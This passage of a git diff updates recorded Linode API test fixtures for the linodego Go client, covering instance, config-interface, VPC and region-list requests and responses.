5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:07 GMT + - Fri, 31 May 2024 18:19:05 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-p33m82yxy8e1","booted":false}' + body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-89gsa114u6ru","firewall_id":501582,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933551, "label": "go-test-ins-wo-disk-p33m82yxy8e1", "group": + body: '{"id": 59544170, "label": "go-test-ins-wo-disk-89gsa114u6ru", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.202.58"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.233.194.115"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "069a01c443a4c034edaff10aeecdf8fb95ec66ba", "has_user_data": false}' + "fd4fc8c27644288806281ff46f10a1f3afe5cb08", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "737" + - "762" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:07 GMT + - Fri, 31 May 2024 18:19:06 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -321,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-7q8h3sk1tc61","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-ea1d546nw5c9","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -330,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933551/configs + url: https://api.linode.com/v4beta/linode/instances/59544170/configs method: POST response: - body: '{"id": 58037968, "label": "go-test-conf-7q8h3sk1tc61", "helpers": {"updatedb_disabled": + body: '{"id": 62730806, "label": "go-test-conf-ea1d546nw5c9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -362,7 +413,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:07 GMT + - Fri, 31 May 2024 18:19:06 GMT Pragma: - no-cache Strict-Transport-Security: @@ -377,7 +428,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -386,7 +440,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-vpc-1707934147937762000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1707934147937829000","ipv4":"192.168.0.0/25"}]}' + body: '{"label":"go-test-vpc-1717179546636453000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1717179546636583000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: @@ -398,8 +452,8 @@ interactions: url: https://api.linode.com/v4beta/vpcs method: POST response: - body: '{"id": 22682, "label": "go-test-vpc-1707934147937762000", "description": - "", "region": "us-iad", "subnets": [{"id": 23561, "label": "linodego-vpc-test-1707934147937829000", + body: '{"id": 64440, "label": "go-test-vpc-1717179546636453000", "description": + "", "region": "us-iad", "subnets": [{"id": 62998, "label": "linodego-vpc-test-1717179546636583000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' @@ -425,7 +479,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:08 GMT + - Fri, 31 May 2024 18:19:06 GMT Pragma: - no-cache Strict-Transport-Security: @@ -440,7 +494,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -449,7 +506,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-7q8h3sk1tc61","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":23561,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' + body: '{"label":"go-test-conf-ea1d546nw5c9","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":62998,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: @@ -458,23 +515,23 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933551/configs/58037968 + url: https://api.linode.com/v4beta/linode/instances/59544170/configs/62730806 method: PUT response: - body: '{"id": 58037968, "label": "go-test-conf-7q8h3sk1tc61", "helpers": {"updatedb_disabled": + body: '{"id": 62730806, "label": "go-test-conf-ea1d546nw5c9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", - "virt_mode": "paravirt", "interfaces": [{"id": 1041191, "purpose": "public", + "virt_mode": "paravirt", "interfaces": [{"id": 1598962, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": - 1041192, "purpose": "vlan", "primary": false, "active": false, "ipam_address": + 1598963, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": - null, "ip_ranges": null}, {"id": 1041193, "purpose": "vpc", "primary": false, - "active": false, "ipam_address": null, "label": null, "vpc_id": 22682, "subnet_id": - 23561, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "139.144.202.58"}, "ipv6": + null, "ip_ranges": null}, {"id": 1598964, "purpose": "vpc", "primary": false, + "active": false, "ipam_address": null, "label": null, "vpc_id": 64440, "subnet_id": + 62998, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.233.194.115"}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: @@ -496,7 +553,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:09 GMT + - Fri, 31 May 2024 18:19:07 GMT Pragma: - no-cache Strict-Transport-Security: @@ -512,7 +569,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -521,7 +581,7 @@ interactions: code: 200 duration: "" - request: - body: '{"ids":[1041192,1041191,1041193]}' + body: '{"ids":[1598963,1598962,1598964]}' form: {} headers: Accept: @@ -530,7 +590,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933551/configs/58037968/interfaces/order + url: https://api.linode.com/v4beta/linode/instances/59544170/configs/62730806/interfaces/order method: POST response: body: '{}' @@ -556,7 +616,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:09 GMT + - Fri, 31 May 2024 18:19:07 GMT Pragma: - no-cache Strict-Transport-Security: @@ -571,7 +631,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -589,24 +652,24 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933551/configs/58037968 + url: https://api.linode.com/v4beta/linode/instances/59544170/configs/62730806 method: GET response: - body: '{"id": 58037968, "label": "go-test-conf-7q8h3sk1tc61", "helpers": {"updatedb_disabled": + body: '{"id": 62730806, "label": "go-test-conf-ea1d546nw5c9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", - "virt_mode": "paravirt", "interfaces": [{"id": 1041192, "purpose": "vlan", "primary": + "virt_mode": "paravirt", "interfaces": [{"id": 1598963, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, - "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 1041191, + "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 1598962, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, - "ip_ranges": null}, {"id": 1041193, "purpose": "vpc", "primary": false, "active": - false, "ipam_address": null, "label": null, "vpc_id": 22682, "subnet_id": 23561, - "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "139.144.202.58"}, "ipv6": null, "ip_ranges": - []}]}' + "ip_ranges": null}, {"id": 1598964, "purpose": "vpc", "primary": false, "active": + false, "ipam_address": null, "label": null, "vpc_id": 64440, "subnet_id": 62998, + "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.233.194.115"}, "ipv6": null, + "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" @@ -627,7 +690,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:09 GMT + - Fri, 31 May 2024 18:19:07 GMT Pragma: - no-cache Strict-Transport-Security: @@ -644,7 +707,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -662,7 +728,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933551 + url: https://api.linode.com/v4beta/linode/instances/59544170 method: DELETE response: body: '{}' @@ -688,7 +754,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:09 GMT + - Fri, 31 May 2024 18:19:08 GMT Pragma: - no-cache Strict-Transport-Security: @@ -703,7 +769,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -721,7 +790,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/vpcs/22682 + url: https://api.linode.com/v4beta/vpcs/64440 method: DELETE response: body: '{}' @@ -747,7 +816,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:10 GMT + - Fri, 31 May 2024 18:19:08 GMT Pragma: - no-cache Strict-Transport-Security: @@ -762,7 +831,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_ConfigInterfaces_Update.yaml b/test/integration/fixtures/TestInstance_ConfigInterfaces_Update.yaml index 6aebeca60..0071d7f72 100644 --- a/test/integration/fixtures/TestInstance_ConfigInterfaces_Update.yaml +++ b/test/integration/fixtures/TestInstance_ConfigInterfaces_Update.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + 